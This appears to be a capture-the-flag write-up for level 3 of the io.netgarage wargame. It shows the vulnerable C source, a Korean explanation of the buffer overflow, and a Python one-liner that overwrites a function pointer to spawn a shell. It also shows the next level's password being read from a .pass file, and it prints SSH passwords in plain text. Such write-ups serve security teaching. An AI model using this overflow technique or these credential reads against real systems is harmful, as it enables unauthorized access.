ssh level3@io.netgarage.org
IFd92yzOnSMv9tkX
level3@io:/levels$ cat level03.c
//bla, based on work by beach
#include <stdio.h>
#include <string.h>
void good()
{
puts("Win.");
execl("/bin/sh", "sh", NULL);
}
void bad()
{
printf("I'm so sorry, you're at %p and you want to be at %p\n", bad, good);
}
int main(int argc, char **argv, char **envp)
{
void (*functionpointer)(void) = bad;
char buffer[50];
if(argc != 2 || strlen(argv[1]) < 4)
return 0;
memcpy(buffer, argv[1], strlen(argv[1])); // buffer overflow
memset(buffer, 0, strlen(argv[1]) - 4);
printf("This is exciting we're going to %p\n", functionpointer);
functionpointer();
return 0;
}
기초적인 bof 문제인것 같다.
memcpy 과정에서 argv[1] 의 길이체크를 하지 않아, buffer 의 크기보다 많이 받을 수 있다.
buffer와 functionpointer 간의 거리를 구하고, functionpointer 의 값을 good() 의 주소값으로 덮어씌워 주면 해결되는 문제다.
level3@io:/levels$ ./level03 `python -c 'print "\x90"*76 + "\x74\x84\x04\x08"'`
This is exciting we're going to 0x8048474
Win.
sh-4.2$ cat /home/level04/.pas
cat: /home/level04/.pas: No such file or directory
sh-4.2$ cat /home/level04/.pass
cat: /home/level04/.pass: No such file or directory
sh-4.2$ cat /home/level4/.pass
nSwmULj2LpDnRGU2